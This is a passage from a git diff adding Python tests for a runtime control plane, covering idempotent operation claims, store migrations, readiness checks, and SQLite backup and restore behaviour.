= Barrier(2) + equal_claims = (_record("operation-a"), _record("operation-b")) + + def claim(record: ControlPlaneOperationRecord) -> ControlPlaneOperationRecord: + barrier.wait() + return admitted_store.claim_record(record) + + with ThreadPoolExecutor(max_workers=2) as executor: + winners = list(executor.map(claim, equal_claims)) + + assert len({record.receipt.operation_id for record in winners}) == 1 + + other_actor = admitted_store.claim_record(_record("operation-other-actor", context=_context(actor="operator-b"))) + other_kind = admitted_store.claim_record( + _record( + "operation-other-kind", + context=_context(kind=OperationKind.ORCHESTRATION), + ) + ) + + assert other_actor.receipt.operation_id == "operation-other-actor" + assert other_kind.receipt.operation_id == "operation-other-kind" + assert len(admitted_store.load_records()) == 3 + + +def test_atomic_claim_does_not_call_the_separate_lookup_api() -> None: + class LookupRejectingStore(InMemoryControlPlaneStore): + def find_by_idempotency(self, *args, **kwargs): + raise AssertionError("claim must not perform a separate idempotency lookup") + + store = LookupRejectingStore() + first = store.claim_record(_record("operation-first")) + replay = store.claim_record(_record("operation-replay")) + + assert replay.receipt.operation_id == first.receipt.operation_id + + +def test_runtime_submission_uses_only_the_atomic_claim_operation() -> None: + class LookupRejectingStore(InMemoryControlPlaneStore): + def find_by_idempotency(self, *args, **kwargs): + raise AssertionError("runtime must not perform lookup before claim") + + target = create_stub_target() + original_apply = target.provisioner.apply + apply_count = 0 + + def counted_apply(*args, **kwargs): + nonlocal apply_count + apply_count += 1 + return original_apply(*args, **kwargs) + + target.provisioner.apply = counted_apply + control_plane = RuntimeControlPlane(target, store=LookupRejectingStore()) + + first = control_plane.submit_provisioning(ProvisioningPlan(), idempotency_key="runtime-key") + replay = control_plane.submit_provisioning(ProvisioningPlan(), idempotency_key="runtime-key") + + assert replay == first + assert apply_count == 1 + control_plane.close() + + +def test_retry_returns_incumbent_before_changed_admission_state( + monkeypatch: pytest.MonkeyPatch, +) -> None: + control_plane = RuntimeControlPlane(create_stub_target()) + plan = ProvisioningPlan() + first = control_plane.submit_provisioning(plan, idempotency_key="changed-admission") + rejection = Diagnostic( + code="runtime.control-plane.test-rejection", + domain="runtime", + address="runtime.control-plane.provisioning", + message="current admission state changed", + ) + monkeypatch.setattr( + control_plane_module, + "control_plane_plan_diagnostics", + lambda *_args, **_kwargs: [rejection], + ) + + retry = control_plane.submit_provisioning(plan, idempotency_key="changed-admission") + + assert retry == first + control_plane.close() + + +def test_workflow_cancellation_retry_returns_incumbent_after_state_turns_terminal() -> None: + workflow_address = "workflow.atomic-retry" + workflow = WorkflowExecutionState( + workflow_status=WorkflowStatus.RUNNING, + run_id="run:default", + started_at="2026-09-18T10:00:00Z", + updated_at="2026-09-18T10:00:00Z", + ) + control_plane = RuntimeControlPlane( + create_stub_target(), + initial_snapshot=RuntimeSnapshot( + orchestration_results={workflow_address: workflow.to_payload()}, + ), + ) + + first = control_plane.cancel_workflow( + workflow_address, + idempotency_key="cancel-terminal-retry", + ) + retry = control_plane.cancel_workflow( + workflow_address, + idempotency_key="cancel-terminal-retry", + ) + + assert retry == first + assert len(control_plane._store.load_records()) == 1 + control_plane.close() + + +def test_stale_explicit_base_does_not_persist_a_new_claim() -> None: + control_plane = RuntimeControlPlane(create_stub_target()) + stale = replace(control_plane.snapshot, metadata={"revision": "stale"}) + plan = ProvisioningPlan() + + with pytest.raises( + ValueError, + match="explicit base snapshot does not match the authoritative runtime snapshot", + ): + control_plane.submit_provisioning(plan, base_snapshot=stale, idempotency_key="stale-base") + + assert control_plane._store.load_records() == {} + control_plane.close() + + +@pytest.mark.parametrize( + "changed_context", + [ + _context(commitment=f"sha256:{'b' * 64}"), + _context(authorization_scope=("role:operator", "participant-control:subject:controller")), + _context(parent_operation_id="parent-operation"), + ], +) +def test_atomic_claim_rejects_changed_immutable_replay_conditions( + admitted_store, + changed_context: OperationAdmissionContext, +) -> None: + admitted_store.claim_record(_record("operation-original")) + conflicting_record = _record("operation-conflict", context=changed_context) + + with pytest.raises(ValueError, match="idempotency claim conflicts with the original request"): + admitted_store.claim_record(conflicting_record) + + assert set(admitted_store.load_records()) == {"operation-original"} + + +def test_operation_commitment_has_a_versioned_operation_specific_domain() -> None: + control_plane = RuntimeControlPlane(create_stub_target()) + request = {"opaque": "semantic-input"} + + provisioning = operation_admission_context( + control_plane, + kind=OperationKind.PROVISIONING, + request=request, + ) + orchestration = operation_admission_context( + control_plane, + kind=OperationKind.ORCHESTRATION, + request=request, + ) + + assert provisioning.request_commitment == canonical_json_digest( + { + "domain": "raes.runtime.control-plane.provisioning.request-commitment/v1", + "request": request, + "base_snapshot": None, + } + ) + assert orchestration.request_commitment != provisioning.request_commitment + assert "semantic-input" not in provisioning.request_commitment + control_plane.close() + + +@pytest.mark.parametrize("key", ["contains whitespace", "control\ncharacter", "x" * 257]) +def test_idempotency_key_shape_is_bounded_at_the_core(key: str) -> None: + control_plane = RuntimeControlPlane(create_stub_target()) + plan = ProvisioningPlan() + + with pytest.raises(ValueError, match="Idempotency-Key must be 1-256 visible ASCII characters"): + control_plane.submit_provisioning(plan, idempotency_key=key) + + assert control_plane.snapshot.entries == {} + control_plane.close() + + +def test_operation_status_read_requires_the_original_actor_and_scope() -> None: + control_plane = RuntimeControlPlane(create_stub_target()) + owner = ControlPlaneIdentity( + identity="operator-a", + roles=frozenset({ControlPlaneRole.OPERATOR}), + target_name="stub", + ) + stranger = replace(owner, identity="operator-b") + receipt = control_plane.submit_provisioning( + ProvisioningPlan(), + idempotency_key="owner-key", + identity=owner, + ) + + assert control_plane.get_operation(receipt.operation_id, identity=owner) is not None + assert control_plane.get_operation(receipt.operation_id, identity=stranger) is None + assert control_plane.get_operation("unknown-operation", identity=stranger) is None + control_plane.close() + + +def test_observation_execution_rebuilds_a_forged_operation_cache() -> None: + control_plane = RuntimeControlPlane(create_stub_target()) + forged_payload = { + "schema_version": "observation-operation-result/v1", + "operation_id": "forged-operation", + "lifecycle": { + "collected": [], + "retained": [], + "exported": [], + "operational_count": 0, + }, + "retained": [], + "realized_form_disclosures": [], + } + control_plane._operations["forged-operation"] = _record( + "forged-operation", + key="", + result_payload=forged_payload, + ) + + assert control_plane.observation_execution("forged-operation") is None + control_plane.close() + + +def test_v3_store_migration_builds_composite_claims_and_quarantines_opaque_participant_keys( + tmp_path, +) -> None: + store_path = tmp_path / "v3-store" + store = LocalControlPlaneStore(store_path) + lease = store.admit_runtime(target_scope="target:stub", run_scope="run:default") + legacy = replace( + _record( + "legacy-participant-operation", + context=_context(kind=OperationKind.PARTICIPANT_CONTROL), + key=f"participant-control:{'a' * 64}", + ), + request_fingerprint="legacy-participant-semantic-hash", + ) + store.claim_record(legacy) + store.close() + lease.close() + + database = store_path / "control-plane.sqlite3" + with sqlite3.connect(database) as connection: + connection.execute("DROP INDEX operations_idempotency_claim") + for column in ( + "legacy_opaque_claim", + "request_commitment", + "run_scope", + "target_scope", + "operation_kind", + "actor_id", + ): + connection.execute(f"ALTER TABLE operations DROP COLUMN {column}") + connection.execute( + "CREATE UNIQUE INDEX operations_idempotency_key ON operations(idempotency_key) WHERE idempotency_key != ''" + ) + connection.execute("UPDATE metadata SET value='3' WHERE key='schema-version'") + + migrated = LocalControlPlaneStore(store_path) + migrated_lease = migrated.admit_runtime(target_scope="target:stub", run_scope="run:default") + try: + migrated_record = migrated.load_records()[legacy.receipt.operation_id] + assert migrated_record.request_fingerprint == legacy.receipt.context.request_commitment + with sqlite3.connect(database) as connection: + row = connection.execute("SELECT actor_id, operation_kind, legacy_opaque_claim FROM operations").fetchone() + assert row == ("operator-a", "participant-control", 1) + assert connection.execute("SELECT value FROM metadata WHERE key='schema-version'").fetchone() == ( + LOCAL_OPERATION_SCHEMA_VERSION, + ) + conflicting_record = _record( + "post-migration-retry", + context=_context(kind=OperationKind.PARTICIPANT_CONTROL), + key="original-client-key-is-not-recoverable", + ) + with pytest.raises(ValueError, match="idempotency claim conflicts with the original request"): + migrated.claim_record(conflicting_record) + assert set(migrated.load_records()) == {legacy.receipt.operation_id} + finally: + migrated.close() + migrated_lease.close() + + +def test_v3_store_migration_preserves_ordinary_claim_replay(tmp_path) -> None: + store_path = tmp_path / "ordinary-v3-store" + plan = ProvisioningPlan() + old_commitment = legacy_operation_request_commitment( + kind=OperationKind.PROVISIONING, + request=plan, + ) + legacy = _record( + "ordinary-v3-operation", + context=_context( + actor="embedded-process", + authorization_scope=("process:trusted-embedder",), + commitment=old_commitment, + ), + key="v3-retry", + ) + store = LocalControlPlaneStore(store_path) + lease = store.admit_runtime(target_scope="target:stub", run_scope="run:default") + store.claim_record(legacy) + store.close() + lease.close() + + payload = _record_payload(legacy) + payload.pop("legacy_request_commitment") + content, digest = encode_payload(payload) + database = store_path / "control-plane.sqlite3" + with sqlite3.connect(database) as connection: + connection.execute( + "UPDATE operations SET payload=?, digest=? WHERE operation_id=?", + (content, digest, legacy.receipt.operation_id), + ) + connection.execute("DROP INDEX operations_idempotency_claim") + for column in ( + "legacy_opaque_claim", + "request_commitment", + "run_scope", + "target_scope", + "operation_kind", + "actor_id", + ): + connection.execute(f"ALTER TABLE operations DROP COLUMN {column}") + connection.execute( + "CREATE UNIQUE INDEX operations_idempotency_key ON operations(idempotency_key) WHERE idempotency_key != ''" + ) + connection.execute("UPDATE metadata SET value='3' WHERE key='schema-version'") + + control_plane = RuntimeControlPlane( + create_stub_target(), + store=LocalControlPlaneStore(store_path), + ) + retry = control_plane.submit_provisioning(plan, idempotency_key="v3-retry") + + assert retry.operation_id == legacy.receipt.operation_id + control_plane.close() diff --git a/implementations/python/tests/test_issue_1185_api_404_profile_alignment.py b/implementations/python/tests/test_issue_1185_api_404_profile_alignment.py new file mode 100644 index 000000000..8f577a3e8 --- /dev/null +++ b/implementations/python/tests/test_issue_1185_api_404_profile_alignment.py @@ -0,0 +1,115 @@ +"""API-404 profile clauses and landed evidence for CP-11.""" + +from __future__ import annotations + +import re +from pathlib import Path + +from raes_runtime.control_plane_profiles import ControlPlaneProfile, profile_declaration +from tools.policy.repository_requirements import RepositoryRequirementClient + +ROOT = Path(__file__).resolve().parents[3] +REQUIREMENT_PATH = ROOT / "docs/requirements/API-404/requirement.md" + +COMMON_GUARANTEES = { + "in-process-safety", + "actor-scoped-idempotency", + "target-run-isolation", + "revision-cas", + "atomic-audit", +} +DURABLE_GUARANTEES = { + "durable-state", + "retained-idempotency", + "lease-admission", + "startup-reconciliation", +} +TRANSPORT_GUARANTEES = { + "authenticated-transport", + "actor-bound-disclosure", + "owner-serialized-mutation", + "revision-carrying-reads", +} +EXPECTED_PROFILES = { + ControlPlaneProfile.P0: ({"API-404-C1"}, COMMON_GUARANTEES), + ControlPlaneProfile.P1: ( + {"API-404-C1", "API-404-C2"}, + COMMON_GUARANTEES | DURABLE_GUARANTEES, + ), + ControlPlaneProfile.P2: ( + {"API-404-C1", "API-404-C2", "API-404-C3"}, + COMMON_GUARANTEES | DURABLE_GUARANTEES | TRANSPORT_GUARANTEES, + ), + ControlPlaneProfile.P3: (set(), set()), +} + + +def _section(document: str, heading: str) -> str: + marker = f"## {heading}" + assert marker in document, f"API-404 is missing its {heading!r} section" + return document.split(marker, 1)[1].split("\n## ", 1)[0] + + +def _profile_rows(document: str) -> dict[ControlPlaneProfile, tuple[set[str], set[str]]]: + rows = {} + for line in _section(document, "Profile-to-clause matrix").splitlines(): + if re.match(r"^\| P[0-3] \|", line) is None: + continue + profile_cell, clauses_cell, guarantees_cell, _ = [cell.strip() for cell in line.strip("|").split("|")] + rows[ControlPlaneProfile(profile_cell)] = ( + set(re.findall(r"`(API-404-C[0-9]+)`", clauses_cell)), + set(re.findall(r"`([a-z][a-z0-9-]+)`", guarantees_cell)), + ) + return rows + + +def test_api_404_profile_clause_matrix_matches_canonical_declarations() -> None: + document = REQUIREMENT_PATH.read_text() + assert _profile_rows(document) == EXPECTED_PROFILES + for profile, (_, expected_guarantees) in EXPECTED_PROFILES.items(): + declaration = profile_declaration(profile) + assert {claim.identifier for claim in declaration.guarantees} == expected_guarantees + + +def test_api_404_scope_and_nonclaims_are_explicit() -> None: + document = REQUIREMENT_PATH.read_text() + clauses = _section(document, "Contract clauses") + normalized_clauses = " ".join(clauses.split()) + assert all(f"### API-404-C{number}" in clauses for number in range(1, 5)) + assert "P0 process loss discards operation state, idempotency records, and audit" in normalized_clauses + assert "P0 does not provide durability, restart recovery, or retained deduplication" in normalized_clauses + assert "Only P2 authenticates transport callers" in normalized_clauses + assert "P3 is unavailable and satisfies no API-404 clause" in normalized_clauses + + public_page = (ROOT / "docs/explain/sdl/runtime-architecture.md").read_text() + public_profiles = _section(public_page, "Control-plane operating profiles") + assert "| P3 | none | future-coordination |" in public_profiles + assert "P3 is inspectable but unavailable" in public_profiles + + +def test_api_404_traceability_names_existing_local_evidence() -> None: + client = RepositoryRequirementClient(ROOT) + assert client.get_requirement("raes-sdl", "API-404")["status"] == "ACTIVE" + links = client.get_traceability("API-404") + triples = {(link["link_type"], link["artifact_type"], link["artifact_identifier"]) for link in links} + assert ( + "IMPLEMENTS", + "CODE_FILE", + "implementations/python/packages/raes_runtime/control_plane_profiles.py", + ) in triples + assert ( + "TESTS", + "TEST", + "implementations/python/tests/test_issue_1189_control_plane_profile_declarations.py", + ) in triples + assert ("DOCUMENTS", "GITHUB_ISSUE", "1185") in triples + assert {link["artifact_type"] for link in links if link["link_type"] == "IMPLEMENTS"} <= {"CODE_FILE", "SPEC"} + assert {link["artifact_type"] for link in links if link["link_type"] == "TESTS"} == {"TEST"} + + local_artifact_types = {"CODE_FILE", "TEST", "SPEC", "DOCUMENTATION", "ADR"} + missing = sorted( + link["artifact_identifier"] + for link in links + if link["artifact_type"] in local_artifact_types and not (ROOT / str(link["artifact_identifier"])).is_file() + ) + assert missing == [] diff --git a/implementations/python/tests/test_issue_1186_control_plane_recovery_operations.py b/implementations/python/tests/test_issue_1186_control_plane_recovery_operations.py new file mode 100644 index 000000000..62ae8e09a --- /dev/null +++ b/implementations/python/tests/test_issue_1186_control_plane_recovery_operations.py @@ -0,0 +1,1030 @@ +"""CP-12 recovery operations, readiness, and redaction acceptance tests.""" + +from __future__ import annotations + +import sqlite3 +from concurrent.futures import ThreadPoolExecutor +from dataclasses import asdict, replace +from pathlib import Path +from threading import Event + +import pytest +import raes_runtime.control_plane_store_maintenance as maintenance_module +from fastapi.testclient import TestClient +from raes_backend_stubs.stubs import create_stub_target +from raes_cli.main import app as cli_app +from raes_contracts.planning import RuntimeDomain +from raes_contracts.runtime_state import ( + OperationAdmissionContext, + OperationKind, + OperationReceipt, + OperationState, + OperationStatus, + RuntimeSnapshot, +) +from raes_runtime.control_plane import RuntimeControlPlane +from raes_runtime.control_plane_api import create_control_plane_app +from raes_runtime.control_plane_api._responses import _conflict_detail +from raes_runtime.control_plane_api_guards import RequestSizeLimitMiddleware +from raes_runtime.control_plane_health import ControlPlaneHealthStatus, control_plane_readiness +from raes_runtime.control_plane_recovery import IndeterminateResolutionDisposition +from raes_runtime.control_plane_security import ( + ControlPlaneIdentity, + ControlPlaneRole, + ControlPlaneSecurityConfig, +) +from raes_runtime.control_plane_store import ( + AuditEvent, + ControlPlaneOperationRecord, + InMemoryControlPlaneStore, + TerminalCommitMode, +) +from raes_runtime.control_plane_store_local import LocalControlPlaneStore +from raes_runtime.control_plane_store_local_codec import encode_payload +from raes_runtime.control_plane_store_maintenance import ( + DestinationConflictPolicy, + LocalStoreMaintenanceOperation, + maintain_local_control_plane_store, +) +from raes_runtime.control_plane_store_record_migration import LOCAL_OPERATION_SCHEMA_VERSION +from typer.testing import CliRunner + +pytestmark = pytest.mark.control_plane_conformance + + +def _running_record(operation_id: str) -> ControlPlaneOperationRecord: + submitted_at = "2026-09-19T00:00:00Z" + context = OperationAdmissionContext( + actor_id="operator-1186", + authorization_scope=("role:operator",), + target_scope="target:stub", + run_scope="run:default", + operation_kind=OperationKind.PROVISIONING, + request_commitment=f"sha256:{'1' * 64}", + ) + return ControlPlaneOperationRecord( + receipt=OperationReceipt( + operation_id=operation_id, + domain=RuntimeDomain.PROVISIONING, + submitted_at=submitted_at, + accepted=True, + context=context, + ), + status=OperationStatus( + operation_id=operation_id, + domain=RuntimeDomain.PROVISIONING, + state=OperationState.RUNNING, + submitted_at=submitted_at, + updated_at=submitted_at, + context=context, + ), + request_fingerprint=context.request_commitment, + idempotency_key=f"key-{operation_id}", + ) + + +def _store_with_indeterminate_parent() -> tuple[InMemoryControlPlaneStore, str]: + store = InMemoryControlPlaneStore() + running = _running_record("indeterminate-1186") + store.claim_record(running) + terminal = replace( + running, + status=replace( + running.status, + state=OperationState.INDETERMINATE, + updated_at="2026-09-19T00:00:01Z", + ), + ) + store.commit_terminal_operation( + RuntimeSnapshot(), + terminal, + mode=TerminalCommitMode.OPERATION_ONLY, + expected_revision=0, + ) + return store, running.receipt.operation_id + + +def test_health_projection_is_closed_ready_and_value_free() -> None: + control_plane = RuntimeControlPlane(create_stub_target()) + + health = control_plane_readiness(control_plane) + + assert health.status is ControlPlaneHealthStatus.READY + assert health.reasons == () + assert health.to_payload() == {"status": "ready", "reasons": []} + assert set(health.to_payload()) == {"status", "reasons"} + + +def test_unresolved_indeterminate_operation_keeps_readiness_closed_until_linked_resolution() -> None: + store, parent_id = _store_with_indeterminate_parent() + control_plane = RuntimeControlPlane(create_stub_target(), store=store) + + assert control_plane_readiness(control_plane).to_payload() == { + "status": "unready", + "reasons": ["recovery-required"], + } + + control_plane.resolve_indeterminate_operation( + parent_id, + disposition=IndeterminateResolutionDisposition.ACCEPT_CURRENT_SNAPSHOT, + idempotency_key="resolution-1186", + identity=ControlPlaneIdentity( + identity="resolver-1186", + roles=frozenset({ControlPlaneRole.OPERATOR}), + target_name="stub", + ), + ) + + assert control_plane_readiness(control_plane).to_payload() == {"status": "ready", "reasons": []} + + +def test_health_routes_are_public_value_free_and_do_not_append_audit() -> None: + store, _parent_id = _store_with_indeterminate_parent() + control_plane = RuntimeControlPlane(create_stub_target(), store=store) + app = create_control_plane_app(control_plane) + + with TestClient(app) as client: + live = client.get("/health/live") + ready = client.get("/health/ready") + + assert live.status_code == 200 + assert live.json() == {"status": "live", "reasons": []} + assert ready.status_code == 503 + assert ready.json() == {"status": "unready", "reasons": ["recovery-required"]} + assert len(store.read_audit()) == 1 + + +def test_readiness_fails_closed_after_local_store_lease_loss(tmp_path: Path) -> None: + control_plane = RuntimeControlPlane( + create_stub_target(), + store=LocalControlPlaneStore(tmp_path / "control-plane"), + ) + app = create_control_plane_app(control_plane) + + with TestClient(app) as client: + lease = control_plane._runtime_lease + assert lease is not None + lease.close() + response = client.get("/health/ready") + + assert response.status_code == 503 + assert response.json() == {"status": "unready", "reasons": ["lease-unavailable"]} + + +def test_readiness_observes_lifecycle_and_recovery_under_one_cut(monkeypatch: pytest.MonkeyPatch) -> None: + import raes_runtime.control_plane_health as health_module + + control_plane = RuntimeControlPlane(create_stub_target()) + entered = Event() + release = Event() + close_started = Event() + original = health_module.unresolved_indeterminate_operation_ids_from_records + + def block_recovery_projection(*args: object, **kwargs: object) -> object: + entered.set() + assert release.wait(timeout=5) + return original(*args, **kwargs) + + monkeypatch.setattr(health_module, "unresolved_indeterminate_operation_ids_from_records", block_recovery_projection) + + def close_after_signal() -> None: + close_started.set() + control_plane.close() + + with ThreadPoolExecutor(max_workers=2) as pool: + health_future = pool.submit(control_plane_readiness, control_plane) + assert entered.wait(timeout=5) + close_future = pool.submit(close_after_signal) + try: + assert close_started.wait(timeout=5) + assert not close_future.done() + assert not control_plane._closing + finally: + release.set() + assert health_future.result(timeout=5).status is ControlPlaneHealthStatus.READY + close_future.result(timeout=5) + + assert control_plane_readiness(control_plane).status is ControlPlaneHealthStatus.UNREADY + + +def _create_local_store(path: Path, *, run_scope: str = "run:ops") -> None: + control_plane = RuntimeControlPlane( + create_stub_target(), + store=LocalControlPlaneStore(path), + run_scope=run_scope, + ) + control_plane.record_audit( + action="maintenance-fixture", + identity="operator-1186", + allowed=True, + target="target:stub", + reason="accepted", + details={"count": 1}, + ) + control_plane.close() + + +def test_local_maintenance_check_backup_and_restore_preserve_scope_and_state(tmp_path: Path) -> None: + source = tmp_path / "source-store" + backup = tmp_path / "private-backups" / "control-plane-backup.sqlite3" + restored = tmp_path / "restored-store" + _create_local_store(source) + + checked = maintain_local_control_plane_store( + operation=LocalStoreMaintenanceOperation.CHECK, + store_path=source, + target_name="stub", + run_scope="run:ops", + ) + backed_up = maintain_local_control_plane_store( + operation=LocalStoreMaintenanceOperation.BACKUP, + store_path=source, + backup_path=backup, + target_name="stub", + run_scope="run:ops", + ) + backup_bytes = backup.read_bytes() + restored_result = maintain_local_control_plane_store( + operation=LocalStoreMaintenanceOperation.RESTORE, + store_path=restored, + backup_path=backup, + target_name="stub", + run_scope="run:ops", + ) + + assert checked.to_payload() == {"operation": "check", "outcome": "succeeded"} + assert backed_up.to_payload() == {"operation": "backup", "outcome": "succeeded"} + assert restored_result.to_payload() == {"operation": "restore", "outcome": "succeeded"} + assert backup.read_bytes() == backup_bytes + assert not Path(f"{backup}-wal").exists() + assert not Path(f"{backup}-shm").exists() + reopened_store = LocalControlPlaneStore(restored) + reopened = RuntimeControlPlane(create_stub_target(), store=reopened_store, run_scope="run:ops") + try: + assert control_plane_readiness(reopened).status is ControlPlaneHealthStatus.READY + assert [event.action for event in reopened_store.read_audit()] == ["maintenance-fixture"] + finally: + reopened.close() + + +def test_maintenance_requires_exclusive_lease_and_exact_scope(tmp_path: Path) -> None: + source = tmp_path / "source-store" + backup = tmp_path / "backup.sqlite3" + active = RuntimeControlPlane( + create_stub_target(), + store=LocalControlPlaneStore(source), + run_scope="run:ops", + ) + try: + with pytest.raises(RuntimeError, match="exactly one worker"): + maintain_local_control_plane_store( + operation=LocalStoreMaintenanceOperation.BACKUP, + store_path=source, + backup_path=backup, + target_name="stub", + run_scope="run:ops", + ) + finally: + active.close() + + with pytest.raises(RuntimeError, match="scope does not match"): + maintain_local_control_plane_store( + operation=LocalStoreMaintenanceOperation.CHECK, + store_path=source, + target_name="stub", + run_scope="run:other", + ) + + +def test_check_does_not_initialize_an_unbound_existing_database(tmp_path: Path) -> None: + store_path = tmp_path / "unbound-store" + store_path.mkdir(mode=0o700) + database = store_path / "control-plane.sqlite3" + with sqlite3.connect(database): + pass + database.chmod(0o600) + original_bytes = database.read_bytes() + + with pytest.raises((RuntimeError, ValueError, sqlite3.DatabaseError)): + maintain_local_control_plane_store( + operation=LocalStoreMaintenanceOperation.CHECK, + store_path=store_path, + target_name="stub", + run_scope="run:ops", + ) + + assert database.read_bytes() == original_bytes + with sqlite3.connect(database) as connection: + assert connection.execute("SELECT name FROM sqlite_master WHERE type='table'").fetchall() == [] + + +@pytest.mark.parametrize("operation", [LocalStoreMaintenanceOperation.CHECK, LocalStoreMaintenanceOperation.BACKUP]) +def test_maintenance_refuses_a_source_not_in_wal_mode_without_mutating_it( + tmp_path: Path, + operation: LocalStoreMaintenanceOperation, +) -> None: + source = tmp_path / "source-store" + _create_local_store(source) + database = source / "control-plane.sqlite3" + with sqlite3.connect(database) as connection: + assert connection.execute("PRAGMA journal_mode=DELETE").fetchone() == ("delete",) + + with pytest.raises(RuntimeError, match="WAL"): + maintain_local_control_plane_store( + operation=operation, + store_path=source, + backup_path=tmp_path / "backup.sqlite3", + target_name="stub", + run_scope="run:ops", + ) + + with sqlite3.connect(database) as connection: + assert connection.execute("PRAGMA journal_mode").fetchone() == ("delete",) + assert not (tmp_path / "backup.sqlite3").exists() + + +def test_backup_and_restore_refuse_implicit_destination_replacement(tmp_path: Path) -> None: + source = tmp_path / "source-store" + backup = tmp_path / "backup.sqlite3" + restored = tmp_path / "restored-store" + _create_local_store(source) + maintain_local_control_plane_store( + operation=LocalStoreMaintenanceOperation.BACKUP, + store_path=source, + backup_path=backup, + target_name="stub", + run_scope="run:ops", + ) + + with pytest.raises(FileExistsError): + maintain_local_control_plane_store( + operation=LocalStoreMaintenanceOperation.BACKUP, + store_path=source, + backup_path=backup, + target_name="stub", + run_scope="run:ops", + ) + + _create_local_store(restored) + with pytest.raises(FileExistsError): + maintain_local_control_plane_store( + operation=LocalStoreMaintenanceOperation.RESTORE, + store_path=restored, + backup_path=backup, + target_name="stub", + run_scope="run:ops", + ) + + result = maintain_local_control_plane_store( + operation=LocalStoreMaintenanceOperation.RESTORE, + store_path=restored, + backup_path=backup, + target_name="stub", + run_scope="run:ops", + conflict_policy=DestinationConflictPolicy.REPLACE, + ) + assert result.to_payload() == {"operation": "restore", "outcome": "succeeded"} + assert len(list(restored.glob("pre-restore-*.sqlite3"))) == 1 + + +@pytest.mark.parametrize("suffix", ["-wal", "-shm", "-journal"]) +def test_backup_replace_rejects_existing_destination_sidecars(tmp_path: Path, suffix: str) -> None: + source = tmp_path / "source-store" + backup = tmp_path / "backup.sqlite3" + _create_local_store(source) + maintain_local_control_plane_store( + operation=LocalStoreMaintenanceOperation.BACKUP, + store_path=source, + backup_path=backup, + target_name="stub", + run_scope="run:ops", + ) + original_bytes = backup.read_bytes() + sidecar = Path(f"{backup}{suffix}") + sidecar.write_bytes(b"stale") + sidecar.chmod(0o600) + + with pytest.raises(RuntimeError, match="stale SQLite sidecar"): + maintain_local_control_plane_store( + operation=LocalStoreMaintenanceOperation.BACKUP, + store_path=source, + backup_path=backup, + target_name="stub", + run_scope="run:ops", + conflict_policy=DestinationConflictPolicy.REPLACE, + ) + + assert backup.read_bytes() == original_bytes + assert sidecar.read_bytes() == b"stale" + + +def test_restore_migrates_a_working_copy_without_mutating_the_supplied_backup(tmp_path: Path) -> None: + source = tmp_path / "source-store" + backup = tmp_path / "backup.sqlite3" + restored = tmp_path / "restored-store" + _create_local_store(source) + maintain_local_control_plane_store( + operation=LocalStoreMaintenanceOperation.BACKUP, + store_path=source, + backup_path=backup, + target_name="stub", + run_scope="run:ops", + ) + with sqlite3.connect(backup) as connection: + connection.execute("UPDATE metadata SET value='4' WHERE key='schema-version'") + predecessor_bytes = backup.read_bytes() + + maintain_local_control_plane_store( + operation=LocalStoreMaintenanceOperation.RESTORE, + store_path=restored, + backup_path=backup, + target_name="stub", + run_scope="run:ops", + ) + + assert backup.read_bytes() == predecessor_bytes + with sqlite3.connect(restored / "control-plane.sqlite3") as connection: + assert connection.execute("SELECT value FROM metadata WHERE key='schema-version'").fetchone() == ( + LOCAL_OPERATION_SCHEMA_VERSION, + ) + + +def test_failed_restore_keeps_the_backup_and_destination_authoritative(tmp_path: Path) -> None: + source = tmp_path / "source-store" + backup = tmp_path / "backup.sqlite3" + restored = tmp_path / "restored-store" + _create_local_store(source) + _create_local_store(restored) + maintain_local_control_plane_store( + operation=LocalStoreMaintenanceOperation.BACKUP, + store_path=source, + backup_path=backup, + target_name="stub", + run_scope="run:ops", + ) + with sqlite3.connect(backup) as connection: + connection.execute("UPDATE metadata SET value='4' WHERE key='schema-version'") + payload = asdict( + AuditEvent( + timestamp="2026-09-19T00:00:00Z", + action="legacy", + identity="operator-1186", + allowed=True, + target="target:stub", + ) + ) + payload["details"] = {"nested": {"secret": "must-remain-source-only"}} + content, digest = encode_payload(payload) + connection.execute("UPDATE audit_events SET payload=?, digest=?", (content, digest)) + backup_bytes = backup.read_bytes() + destination = restored / "control-plane.sqlite3" + destination_bytes = destination.read_bytes() + + with pytest.raises(ValueError): + maintain_local_control_plane_store( + operation=LocalStoreMaintenanceOperation.RESTORE, + store_path=restored, + backup_path=backup, + target_name="stub", + run_scope="run:ops", + conflict_policy=DestinationConflictPolicy.REPLACE, + ) + + assert backup.read_bytes() == backup_bytes + assert destination.read_bytes() == destination_bytes + assert list(restored.glob("pre-restore-*.sqlite3")) == [] + + +def test_restore_publication_failure_preserves_existing_wal_store( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + source = tmp_path / "source-store" + backup = tmp_path / "backup.sqlite3" + restored = tmp_path / "restored-store" + _create_local_store(source) + _create_local_store(restored) + maintain_local_control_plane_store( + operation=LocalStoreMaintenanceOperation.BACKUP, + store_path=source, + backup_path=backup, + target_name="stub", + run_scope="run:ops", + ) + database = restored / "control-plane.sqlite3" + original_bytes = database.read_bytes() + original_replace = maintenance_module.os.replace + + def fail_publication(source_path: Path, destination_path: Path) -> None: + if source_path.name.startswith(".restore-") and destination_path == database: + raise OSError("injected publication failure") + original_replace(source_path, destination_path) + + monkeypatch.setattr(maintenance_module.os, "replace", fail_publication) + with pytest.raises(OSError, match="injected publication failure"): + maintain_local_control_plane_store( + operation=LocalStoreMaintenanceOperation.RESTORE, + store_path=restored, + backup_path=backup, + target_name="stub", + run_scope="run:ops", + conflict_policy=DestinationConflictPolicy.REPLACE, + ) + + assert database.read_bytes() == original_bytes + with sqlite3.connect(database) as connection: + assert connection.execute("PRAGMA journal_mode").fetchone() == ("wal",) + assert len(list(restored.glob("pre-restore-*.sqlite3"))) == 1 + + +def test_restore_fsync_failure_rolls_back_published_destination( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + source = tmp_path / "source-store" + backup = tmp_path / "backup.sqlite3" + restored = tmp_path / "restored-store" + _create_local_store(source) + _create_local_store(restored) + destination_owner = RuntimeControlPlane( + create_stub_target(), + store=LocalControlPlaneStore(restored), + run_scope="run:ops", + ) + destination_owner.record_audit( + action="maintenance-fixture", + identity="operator-1186", + allowed=True, + target="target:stub", + reason="accepted", + details={"count": 2}, + ) + destination_owner.close() + maintain_local_control_plane_store( + operation=LocalStoreMaintenanceOperation.BACKUP, + store_path=source, + backup_path=backup, + target_name="stub", + run_scope="run:ops", + ) + database = restored / "control-plane.sqlite3" + original_fsync = maintenance_module._fsync_regular_file + failed = False + + def fail_once(path: Path) -> None: + nonlocal failed + if path == database and not failed: + failed = True + raise OSError("injected fsync failure") + original_fsync(path) + + 